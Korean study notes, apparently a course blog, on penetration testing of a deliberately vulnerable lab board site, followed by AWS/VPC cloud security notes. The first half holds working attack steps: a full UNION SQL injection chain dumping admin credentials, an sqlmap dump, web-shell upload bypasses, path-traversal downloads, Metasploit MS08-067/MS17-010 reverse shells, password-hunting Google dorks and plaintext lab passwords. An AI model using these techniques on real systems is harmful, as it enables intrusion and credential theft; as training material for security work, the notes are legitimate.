  4. data 확인 sqlmap -u "http://192.168.145.136/board/index.asp?cmd=view&page=1&info_ref=6&b_com=yes&gubun=gel&p_from=down&info_idx=6" --cookie="ASPSESSIONIDSQCBCCAQ=MFMLLLJDBJAFJNAJMBNEMKBI" -D camel -T member -dump

우회 방법

php;.jpg

php.x

asp.kr

inc

웹쉘 사용

http://210.121.193.52/board/upload

이러한 방식으로 웹쉘을 실행해서 내가 원하는 작업을 할 수 있다.

실습 10 파일다운로드

웹쉘 파일 압축 플어서 업로드

실습 11 Metasploit

kali 192.168.145.129 camel 192.168.145.136

nmap -sV 192.168.145.136

nmap --script vuln 192.168.145.136

smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2017-0143 | Risk factor: HIGH | A critical remote code execution vulnerability exists in Microsoft SMBv1 | servers (ms17-010).

msfconsole msf6 > search ms08-067 msf6 > use exploit/windows/smb/ms08_067_netapi msf6 exploit(windows/smb/ms08_067_netapi) > show options msf6 exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.145.136 msf6 exploit(windows/smb/ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp run

back msf6 > use exploit/windows/smb/ms17_010_psexec msf6 exploit(windows/smb/ms17_010_psexec) > show options msf6 exploit(windows/smb/ms17_010_psexec) > set RHOST 192.168.145.136 msf6 exploit(windows/smb/ms17_010_psexec) > set PAYLOAD windows/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_psexec) > run meterpreter > shell

300x250
320x100

주관식

  1. request 메소드 중에 get 과 post 웹서버 로그에서 어떤식으로 되는지

get 변수 파라미터가 url 에 포함되어 있어 메인 로그에 기록됨

post 변수 파라미터가 url상에 보이지 않고 바디에 보여서 웹로그에 파라미터 부분이 보이지 않음 / 해커입장에서는 post 방식을 사용함

  1. xss , csrf 방식이 뭐가 다른지

xss 는 클라이언트에서 실행이 된다. csrf 는 서버에서 실행이 된다.

  1. db 쿼리값을 조작해서 시스템에 접근하는 공격을 뭐라고 부를까요

퀴리나 db 가 들어가면 SQL injection 이다.

  1. 취약점 분석 단계 , 정보수집단계부터 시작해서 취약점분석단계 → 공격 침투단계 → 전의단계 설명한 페이지 확인

  1. 모의해킹 공격을 할때 웹방화벽에서 탐지가 잘 안되는 공격들이 무엇인가

패턴기반은 탐지가 되지 않는다. 공격 중에 패턴으로 탐지하기 어려운 공격들이 있음 (아래참조)

  • 파일업로드 공격(파일 내용을 다 까보지 못하니까, 확장자는 볼 수있음),
  • URL 변수 공격(정상적인 공격으로 판단하지 때문에 웹 방화벽에서 탐지 하기 힘듬),
  • 제로데이공격(패턴매칭 방식의 웹 방화벽 (알려진 패턴을 가지고 차단하기떄문에) 취약점은 발견은 됐지만, 패치가 안되어 웹방화벽에서 패턴을 패치하기 전 단계이기 떄문에 막기 힘들다.

 

 

https://padlet.com/jaeminsg/4-t06frufenmdt7edu

https://www.findip.kr/#google_vignette 공인아이피확인 사이트

https://후이즈검색.한국/

https://dencode.com/

210.121.193.52 : 테스트 서버

administrator / secul@b! (서버)

구내 네트워크 파악

  • 윈도우 pc

ipconfig

ipconfig/all

http://www.findip.kr/

http://whois.kisa.or.kr/kor/main.jsp

https://uic.io/ko/mac/ : 어떤 장비인지를 확인할떄 벤더가 어디있는지 확인

nmap -sV [IP]

nmap -A [IP]

nmap -Pn -A -sS [IP]

  • kali linux

ifconfig : 내 아이피 찾는 것

hostname -I :리눅스 시스템에서 호스트의 IP 주소를 출력

netstat -r : 현재 시스템의 라우팅 테이블을 표시

netstat -an : 현재 시스템의 네트워크 연결 상태를 표시

ip r l : 리눅스 또는 유닉스 시스템에서 라우팅 테이블을 확인

curl -4  icanhazip.com : 도메인이름을 ip로 바꿔줌 cmd 명령에서는 nslookup www.naver.com

nmap --script smb-enum-shares [IP] : 폴더 공유하고 있는거 찾을 때

nmap --script smb-os-discovery [IP] : smb 사용하고 있는 걸 찾을 때

nmap -sV [IP]

theHarvester -d ABC.com -b google


  • 모의해킹 : 취약점을 통해 악성코드를 심거나, DB 정보를 가져오는 작업까지 행함
  • 취약점 진단 : 취약점이있다는 것만 식별하고 보고서 작성

해킹 일련의 과정

  1. 정찰
  2. 스캐닝 및 취약점 분석
  3. 침투
  4. 권한상승
  5. 백도어 관리
  6. 흔적지우기

타겟 스코핑

  • 타켓 네트워크 환경의 스코프(범위)를 관찰, 이해

정보 수집

  • 구글, 포럼, 게시판, 뉴스그룹, 기사, 블로그, 소셜네트워크 등 인터넷 리소스를 이용

타겟발견

  • 사용중인 기술, 네트워크 구성장비, 운영중인 서비스

타겟 탐색

  • 타겟시스템의 열린 포트 검색

취약점 매핑

  • 포트와 서비스 정보를 이용해 취약점을 찾고 분석

장악 유지

  • 장악을 유지하여 시연할 때 침투 테스트 과정을 다시 수행하지 않아도 되므로 시간, 비용 절감
  • 프로토콜, 프록시, 단대단 연결방식 등을 이용하는 터널링 기술을 사용해서 필요한 기간 동안 숨어 있을 수 있다.

문서화와보고

  • 모의해킹을 하면서 과정들을 캡쳐해서 문서화 시킨다. (문서화 시킬떄는 그걸 보고 따라 할 수 있을 정도로 만들어야한다)
  • 마지막 단계로 발견, 검증, 익스플로잇한 취약점의 발표, 문서화, 보고를 해야한다.

www 를 제외하고 검색해야지 전체 URL을 볼 수 있다.

SITE : 구글 검색에서 특정 도메인이나 웹사이트 내에서 정보나 페이지를 검색할 때 사용하는 검색 연산자

INURL : 구글 검색에서 특정 URL 패턴을 찾기 위해 사용하는 검색 연산자

FILETYPE 구분해서 적어야함 ex) xls,doc,docx,php …

INTEXT : 사이트 안에 텍스트로 되어 있는 것 중 검색

NUMRANGE : 안에 있는 숫자들을 검색할떄 사용

구글 검색을 통한 예시

  • filetype:xls 학번

https://www.exploit-db.com/google-hacking-database

특정 파일 찾기

filetype:xls 학번

index.of ws_ftp.log or filetype:log버전 확인

intitle:index.of "server at"

filetype:xls username password email

사내 인트라넷 검색

intitle: intranet inurl:intranet +intext:"human resources"

사용 예)

site:www.ABC.com

site:ABC.com                         : 고객사 사이트를 전체적으로 검색

site:ABC.com intitle:index.of   : 디렉토리리스팅 페이지 검색

site:ABC.com intitle:login        : 로그인 페이지 검색

site:ABC.com inrul:/admin       : 관리자 페이지 검색

site:ABC.com intitle:관리자       : 관리자 페이지 검색

site:ABC.com filetype:xls         : 파일검색

site:ABC.com -site:m.ABC.com

www.ABC.com/robots.txt

NMAP

nmap -sV 210.121.193.53

nmap -O 210.121.193.53

nmap -A 210.121.193.53

nmap -v --script vuln 210.121.193.53

nmap -Pn -A -sS 210.121.193.52

Pn = 보통 ICMP를통해 포트가 살아있는지 확인을 하는데 ping 을 안치고 바로 포트로 가겠다.

-O : 운영체제OS가 무엇인지 보여줌

-S : 서비스 버전을 보여줌

-A : -O + -S (이 서버 운영체제를 알려주고, 서비스 버전까지 보여주는 옵션)

-sS : 스캔을 할 떄 TCP 3way handshake 전체 연결을 맺는게 보통인데, sS 옵션은 스텔스모드라고 해서 중간에 끊어서 서버에서 모르게 하는 것. 세션을 맺어버리면 보안장비에서 알 수 있기 떄문에 스텔스 모드로 사용하기 위해 -sS 옵션을 사용한다.

-v : 과정이 안나와서 잘 돌아가는지 모를 때 사용

nmap —script vuln 210.121.193.52



칼리리눅스

pentest / secul@b!

sudo su -

secul@b!

웹 방화벽 유무

nmap NSE (Nmap Scripting Engine)

 Categories

  • default : 타겟 도메인의 전반적인 항목에 대해 스캔 수행
  • safe : 안전한 항목에 대해 스캔 수행
  • auth : 인증과 관련된 스크립트, anonymous ftp 스캔 등
  • discovery : 대상에 대한 깊이 있는 정보를 찾는 스크립트들
  • external : 외부의 자원(resources)을 활용한 스크립트들
  • intrusive : 대상에 대한 공격 시도를 하는 스크립트들
  • malware : 백도어나 악성코드(malware) 점검과 관련된 스크립트들
  • Vuln : 알려진 취약성을 점검하는 스크립트들

nessus

  • 취약성 점검 프로그램
  • 다양한 형태로 리포트를 제공하며 취약점에 대한 빠른 업데이트가 가능한 프로그램
  • Essential 버전
  • 무료
  • 16개 IP 스캔가능
  • 컴플라이언스 체크와 감사는 사용불가

CVE (Common Vulnerabilities and Exposure)  소프트웨어의 보안 취약점을 가리키는 표기법  CVE-2014-NNNN...N  CVE-해당연도-취약점번호

▣ CVSS (Common Vulnerability Scoring System, 취약점 점수 시스템) 취약점의 심각도를 판단하는 기준

HTTP Request  웹 클라이언트가 웹 서버에게 자원을 요청하는 것  HTTP Request에 포함된 상세 정보

GET 과 POST의 차이

GET : URL 주소에 쭉 들어가게 적어서 웹로그만 보면 노출이 된다. → head 에 들어감

POST : 홈을 만들어서 그 안에 넣게 하는 방식, 웹로그만 보면 노출이 되지 않는다→ 변수가 Body 부분에 담김

PUT : put을 넣고 내용을 집어넣으면 그 서버에 들어가서 절대 사용 x

DELETE: 웹서버에 있는 자료를 삭제 할 수 있는 메소드

HTTP Response

200 OK : 서버 자원이 있다.

403 Forbidden : 서버 자원이 있는데, 금지 시킴

404 Not Found : 서버 자원이 없다.

Session

  • 어떤 일이 시작되는 시점부터 끝날 때까지를 의미, 네트워크에서는 두 대의 시스템간의 활성화된 접속을 의미

세션 : 서버에 저장

쿠키 : PC에 저장

결국, 세션과 쿠키는 똑같은 값을 가진다.`

XSS

  • 보는 사람이 게시물을 클릭하는 순간 스크립트가 실행 ( 쿠키정보를 팝업으로 띄울 수 있고, 밖으로 보낼 수도 있다.)
  • 공격에 성공하면 사이트에 접속한 사용자는 삽입된 코드를 실행하게 되며, 의도치 않은 행동을 수행시키거나 쿠키나 세션 토큰 등의 민감한 정보를 탈취

SQL injection

  • select mem_id from member; union select dong_juso from juso;

결과 예시)

test1

test2

test3

대치동

영화동

select dong from member where dong_name = ‘대치동’;

대치동’ 이런식으로 ‘ 를 하나 더 찍어서 검색을 하면

select dong from member where dong_name = ‘대치동’’ ; 으로

‘으로 에러 메시지가 나오게 되면, SQL injection 취약점을 발견할 수 있는 가능성이 높아진다.

아래와 같이 세밀론으로 문장을 끝내본다.

대치동’;

  1. where dong_name = ‘대치동’
  2. where dong_name = ‘대치동’’ (에러)
  3. where dong_name = ‘대치동’;—’ ( — 뒤를 무시하라는 뜻 , 에러안남)
  4. 대치동’ union select nul from information_schema.table ;—
  5. 글자 제한이 걸려있어서 필터링이 걸려있음 → 버퍼 슈트

  1. 대치동’ union select null,null,null,null,null,null from information_schema.table ;— (통과)
  2. 문자열에 숫자를 넣어 공백을 확인한다
  3. 대치동’ union select ‘1’,’2’,’3’,’4’,’5’,’6’ from information_schema.table ;—
  4. 대치동’ union select ‘1’,table_name,’3’,’4’,’5’,’6’ from information_schema.table ;—
  5. 대치동’ union select ‘1’,column_name,’3’,’4’,’5’,’6’ from information_schema.columns where table_name = ‘admin’ ;—
  6. 대치동’ union select ‘1’,admin_id,admin_pass,’4’,’5’,’6’ from admin ;—
  7. 어드민 아이디, 비밀번호가 보임
  8. 스캔했을때 어드민 페이지가 있는 것을 확인 http://192.168.145.136/admin
  9. 어드민 아이디, 비밀번호 넣고 접속

 

 

 

실습 1 회원가입 시 js 우회

실습 1

burp suite 설치

proxy tool 로서 request와 response를 중간에서 가로채서 보거나

수정할 수 있게 해주는 tool.. paros와 burp suite가 대표적이고 이외에도 몇개 더 있다.

210.121.193.52 camel

회원가입 - 주민등록번호 입력 우회

burp > porxy > intecept responses 에 체크 - close

open browser > 210.121.193.52 > intercept is on

회원가입 -burpsuite 에서 function jumin1(){ ~ document.form.submit();

사이를 삭제 > forward

이름대충 > 주민등록 번호 대충 > 회원가입 > intercept off

실습2 테스트 계정 찾기

실습 2

test 계정과 pw 찾기

아이디 : [ ] 중복체크기능 활용

일반계정 : test, test1, test2, ... test11,..... test123,...

관리자계정 : root, admin, manager,....

찾았으면 로그인 창으로 가서 패스워드 찾기

id와 동일, 1, 11, 111, ... 123, ... 1234, 0000 등

가능하면 2개 이상 찾기

실습 3 Union SQL injection

  1. union SQL Injection
  1. 문자 변수인지 숫자 변수인지 확인 대치동 대치동' 대치동';-- 대치동' union select 1,1,1,1,1 ;--
  2. 필드 길이제한 확인 burpsuite 에서 limit 해제 proxy > proxy setting > Response modification rules

Remove input field length limits

대치동' union select null,null,null,null from information_schema.tables;--

  1. 컬럼 갯수 맞추기
    • 갯수 안맞으면 에러
  2. 숫자인지 문자인지 맞추기 null 을 1 (숫자) 또는 '1' 로 바꿔서 컬럼의 type 맞추기
  3. 적당한 필드에 table_name 넣어서 확인하기
  4. 찾은 table_name 의 column_name 확인하기
  5. 관리자 table 에서 관리자 id와 pw 확인하기

실습 3 Union SQL injection

대치동

대치동'

대치동';

대치동';--

proxy setting > remove input field length limit 체크

대치동' union select '1','2','3','4','5','6' from information_schema.tables ;--

대치동' union select '1',table_name,'3','4','5','6' from information_schema.tables;--

대치동' union select '1',column_name,'3','4','5','6' from information_schema.columns

where table_name = 'admin' ;--

대치동' union select '1',admin_id,admin_pass,'4','5','6' from admin;--

select admin_id, admin_pw from admin where admin_id = ‘test ‘ or ‘1’=’1’;

‘ or ‘1’=’1

다운로드 취약점

http://210.121.193.52/board/download.asp?file_name=/board/download.asp

http://210.121.193.52/board/download.asp?file_name=../board/download.asp

http://210.121.193.52/board/download.asp?file_name=../../board/download.asp

http://210.121.193.52/board/download.asp?file_name=../../board/index.asp (DB연결정보)

코드는 추후 사용할 수 있기때문에 메모장에 복사해 놓는다.

http://210.121.193.52/board/download.asp?file_name=../../board/dns.asp

300x250
320x100

책추천 : AWS구조와서비스

  1. 제로트러스트 아키텍처 보안에 특징
  2. 실습 → s3의 기능 서비스 이름 정도 어떤건지 구별 (버츄얼머신, 스토리지 등)
  3. 클라우드 네이티브라면 어떤 조건을 갖춰야하
  4. 시스템 공유를 하면서 효율성을 증대시키는게 클라우드인데, 가상머신에 특성들, 어떤 걸 기반으로 만들어지고 작동되는지
  5. 패스워드가 깨림찍해서 뭐해서다른거


클라우드패러다임

클라우드 네이티브

클라우드 기반 제로트러스트

복원력, 강인성, 안전성/보안성/안정성

Dirty-Cow

3. 클라우드 컴퓨팅을 이루는 핵심기술과 기술적 진보

TYPE -1 Hypervisor

TYPE -2 Hypervisor

Binary translation → VT

VT 기술의 출현으로 Binary translation에 따른 오버헤드보다 적은 오버헤드를 양산할 것이라 예상했지만, 현실은 그렇지 못했다!

  • VT Hardware 기술 → Trap & Emulation
  • Trap & Emulation → CPU cache, TLB, Branch Prediction Table Pollution 유발

Technical Issues in BT → VT

  • Binary Translation은 Context Switching을 유발하지 않기 때문에 VT보다 성능이 오히려 더 좋을 떄도 있었음
  • Type-1 Hypervisor는 Binary Translation을 성능 향상을 위해 일부 도입

Para-Virtualization (가상머신위에 잘 돌아갈 수 있게 튜닝해주는것)

  • Motivation
    • Type-1, Type-2 Hypervisor는 Guest OS의 도움 없이, 가상화를 위해 온 몸을 바침
  • Main Concept of Para-virtualization
    • Sensitive 명령어를 의도적으로 제거시간 OS를만들어보자 → Paravirtualized OS
      • 하드웨어 명령을 에뮬레이션하는 것은 즐겁지 않고 시간이 많이 걸린다.
      • Guest OS의 소스를 수정하여 Hypervisor에게 요청하자! → Hypervisor Call

True Virtualization vs Para-virtualization

  • True Virtualization
    • Sensitive 명령어 → Tram & Emulation → Return
  • Para-virtualization
    • Sensitive 명령어 없음
      • ex) I/O or 주요 내부 레지스터 변경 → Hypervisor Call 수행

Overall operation of container-based system

Docker(컨테이너) → packaging 기술

bt → type 1 → type 2- > para →

docker는 개발과 소통을 쉽게 만들었고

컨테이너의 벽

그 벽들은 cgroupsname space 가 벽을 얇게 만듬

근데 리눅스에서 제공되는거기때문에 리눅스에 취약점이 있다면 벽도 안전하지 않을 수 있다.

4. 클라우드에서 발생한 사건, 사고 분석

MITRE

D3.js

5. 사례분석 : Advancing Towards Secure Cloud

  1. 사이버훈련 - 추후에 클라우드 기반 훈련을 할 것이다.
  2. 자료를 숨겨야 하는것 뿐 아니라 인프라 자체가 중요해질거다
  3. moving target defense
300x250
320x100

주관식

클라우드 서비스의 형태는 어떤 것인가 IaaS , PaaS, SaaS

클라우드 컴퓨팅은 무엇인가

클라우드란 무엇인가

클라우드 서비스 보안강화를 위해 루트 계정에 추가하는 기능이 무엇인가

탈취하기 쉬워서 msa로 보안을 강화한다

 

 

.

Cloud Service 예시

  • 개발자나 벤더는 비즈니스나 업무에 필요한 Applcation을 개발
  • 개발 된 Application은 AWS 인프라 위에 배포하여 서비스를 제공함

On-Premise vs Cloud

  • On premise : 서비스에 필요한 모든 리소스를 기업안에서 관리 → 초기투자 비용 높음
  • Cloud : 컴퓨터 리소스를 빌려주는 기업과 계약을 맺고 필요한 만큼만 리소스를 대여 → 초기투자 비용 낮음

IaaS, PaaaS, SaaS

  • Infrastructure as a Service(IaaS) : 서버/네트워크/스토리지 등의 리소스 제공
  • Platform as a Service(PaaS) : 애플리케이션이 작동하는데 필요한 플랫폼 제공
  • Software as a Service(SaaS) : 클라우드 제공자가 전용 애플리케이션까지 제공

Amazon Web Service (AWS)

  • 최초의 AW는 IaaS와 같은 시간제 임대 서버 제공
  • 이후 서버리스 시스템 등의 서비스를 제공하였음
  • 최근에는 AI, 머신러닝 분야 등에서 활용 가능한 서비스 제공

카테고리 서비스 설명

컴퓨팅 EC2 리눅스/윈도우 등을 운영 할 수 있는 서버
보안, 자격 증명 및 규정 IAM (Identity and Access Management) AWS 리소스 접근에 대한 인증, 접근 허가 기능
네트워킹 및 컨텐츠 VPC 가상 네트워크 인프라스트럭처 구축

 

인증과 접근권한

  • 인증 : 사용자의 계쩡에 대한 신원을 검증
  • 접근권한 : 사용자 별 기능에 대한 접근 권한을 관리하고 허가

사용자 권한

  • 루트 사용자 : AWS의 모든 리소스에 접근할 수 있는 계정
  • 일반 사용자(IAM) : 루트사용자에 의해 부여 받은 권한만을 사용할 수 있는 계정

루트 사용자 보안 강화하는 법

  • MFA : 비밀번호 외에 추가적인 인증 수행
  • 대표적인 예시로 은행에서 사용하는 OTP가 있음

 

 

2. 안전한 클라우드 네트워크 환경 구축

Virtual Private Cloud (VPC)

가상의 네트워크 환경 이해

  • AWS에서 가상의 리소스를 관리 할 수 있는 영역

VPC : 가상의 서버, DB, 네트워크 장비 등 다양한 장치를 연결 및 관리할 수 있는 공간

  • 일반적으로 VPC는 네트워크 기능을 갖은 에뮬레이션 소프트웨어를 의미
  • 즉, VPC를 통해 물리적인 기기를 이용하지 않고 가상의 네트워크 환경을 구축할 수 있음

VPC 설정 항목

  • IPv4 CIDR : VPC에서 사용하는 프라이빗 네트워크용 IP주소의 범위
  • VPC의 서브넷 마스크는 최대 16비트를 지원함
    • 65,536개의 IP 주소만 이용 할 수 있도록 하기 위함
    • 16비트 : 192.168.0.0 ~ 192.168.255.25

서브넷

  • VPC 안에는 하나이상의 서브넷을 만들어야 함
    • Subnet : VPC의 IP 주소 범위를 나누는 단위
  • IP 주소 범위를 나누는 대표적인 이유는 역할과 기기를 분리하기 위함
    • 역할 분리 : 외부에 공개하는 리소스 여부 구별
    • 기기 분리 : 클라우드 서비스 안에서 물리적인 이중화 수행 (

역할분리

  • 시스템을 구축할 때 다양한 리소스를 조합하게 됨
  • ex)로드 밸런스(아마존.com 같이 외부에 공개되어있는 것) 는 외부공개가 목적이기 떄문에 외부에서 접근 해야함
  • 하지만, DB 서버의 경우 VPC 내부 서버에서만 접근해야 하므로 외부에 공개되면 안됨

기기 분리

  • 내결함성을 높이기 위해 기기분리가 필요함
    • 내결함성 : 하드웨어 고장, 서버 장애 등 예측할 수 없는 장애가 발생하였을 때 서비스 정지되지 않도록 유지하는 역할
  • 클라우드에는 가용 영역이라는 개념이 존재하기 떄문에, 가용 영역을 다르게 설정하여 독립성을 보장 할 수 있다.
    • 가용영역별로 서브넷을 제공하여 내결함성을 보장할 수 있음

하나의 가용영역 안에 Public, Private 서브넷을 생성하여 보안성 강화

서브넷의 CIDR 설계

IPv4 CIDR 설계 방법

  • 서브넷은 한번 생성하고 나서 해당 서브넷을 이용하는 CIDR 블록을 변경 할 수 없음
  • 서브넷 설계 시 2가지 고려사항
    • 생성할 서브넷의 개수
    • 서브넷 안에 생성할 리소스의 수

VPC 라는 방안에 16비트를 만들고

서브넷을 분리하기 위해 4비트 사용하고

16개의 서브넷 마다 리소스 12비트 4096개를 만들 수 있다 → 4091 (AWS 에서 5개를 사용함)

 

실습에서는 공개용 / 비공개로 나눠서 만들 예정

 

 

 

 

인터넷 게이트웨이

  • 인터넷 게이트웨이는 VPC 에서 생성된 네트워크와 인터넷 사이의 통신을 가능하게 해줌
  • 인터넷 게이트웨이가 없다면 인터넷과 VPC 안에 리소스는 통신할 수 없음

NAT(Network Address Translation) 게이트웨이

  • 인터넷 게이트웨이의 역할은 VPC에서 생성한 네트워크와 인터넷 사이의 통신을 수행하는 것임
  • 이때, VPC에서 생성된 네트워크 안에 만들어지는 리소스들은 외부 네트워크와 직접 통신을 하므로, Public IP를 갖게 됨
  • Private subnet의 우 접근할 수 있지만, 인터넷에서는 접근 할 수있어야 함
    • 이와 같은 기능을 제공해주는 시스템이 NAT

라우팅 테이블 설정

  • 서브넷과 서브넷, 서브넷과 각 게이트웨이가 통신할 수 있는 경로에 관한 테이블 정보
    • 즉, 이 서버에 접속할 떄는 이곳을 경유한다 라는 규칙을 정의 할 수 있는 테이블

 

 

3.  클라우드 서비스 구축 및 마이그래이션

보안 그룹

  • VPC안의 리소스를 보호하기 위해 외부로부터의 접근을 제한 하는 것
  • AWS에서는 Security Group이라는 기능을 통해 제공 함

점프 서버 구축

점프서버

  • 모든 리소스에 접근 할 수 있는 입구를 점프서버 혹은 Bastion 서버라고 함
  • 클라우드 서비스 운영 시 해당 점프서버를 경유해야만 리소스에 접근 할 수 있는 방식을 많이 사용함

웹 서버

  • 브라우저나 애플리케이션으로부터 요청을 받아서 HTML 또는 JSON 등의 응답을 반환하는 역할

점프서버 vs 웹서버

  • 점프서버

시스템 관리자가 유지보수를 위해 이용

인터넷에 직접 연결

  • 웹서버

웹 서비스 사용자가 항상 연결을 시도함

로드 밸런서를 통해 간접 연결됨

강인한 웹 서버 운영을 위한 로드밸런서 구축

로드밸런서

  • 웹 서버 여러대를 구축하고, 처리를 분산하여 성능을 향상시키는 기능
  • 로드 밸런서의 주요 기능
    • 요청 분산
    • SSL 처리
    • 이상 요청 대응

 

4. 취약한 챗봇 서비스 구축 (취약한 웹 서버 구축)

9월24일 AWS 클라우드 기초(실습) 자료 참고

300x250

+ Recent posts